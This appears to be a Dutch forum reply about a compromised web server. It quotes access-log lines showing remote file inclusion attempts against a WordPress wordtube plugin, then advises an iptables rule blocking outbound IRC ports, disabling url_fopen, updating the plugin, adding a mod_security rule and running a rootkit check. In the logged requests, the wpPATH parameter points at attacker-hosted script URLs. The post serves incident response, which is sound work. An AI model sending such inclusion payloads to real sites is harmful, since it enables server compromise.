/var/www/vhosts/purestas.com/statistics/logs/access_log:84.16.242.71 - - [08/May/2007:10:46:41 +0200] "GET /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://www.pronext.eu/help/a.txt? HTTP/1.1" 200 496 "-" "libwww-perl/5.805"
/var/www/vhosts/purestas.com/statistics/logs/access_log:201.41.100.226 - - [08/May/2007:11:19:47 +0200] "GET //wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://perdu.ch/cgi-bin/echo? HTTP/1.1" 200 498 "-" "libwww-perl/5.65"
/var/www/vhosts/purestas.com/statistics/logs/access_log:216.104.33.30 - - [08/May/2007:11:45:20 +0200] "GET /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://www.pnp21.co.kr/bbs/data/.xpl/os? HTTP/1.1" 200 319 "-" "libwww-perl/5.805"
/var/www/vhosts/purestas.com/statistics/logs/access_log:85.10.128.239 - - [08/May/2007:12:18:48 +0200] "GET /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://sanwall.info/echo.txt? HTTP/1.1" 200 500 "-" "libwww-perl/5.803"
[root@centralnexus tmp]#

iptables -I OUTPUT -p tcp -m multiport --destination-ports 3131,6660,6661,6662,6663,6664,6665,6666,6667,6668, 6669,7000 -j DROP

is in één lijn, forum maakt er 2 van

Om die exploit tegen te gaan:

url_fopen uitschakelen in php.ini (kan wel dat een hoop scripts dan niet meer werken)
die module updaten
mod_sec regel aanmaken tegen die exploit

Run eens een rootkitcheck (kan je in plesk onder watchdog) om zeker te zijn dat er niet meer loos is.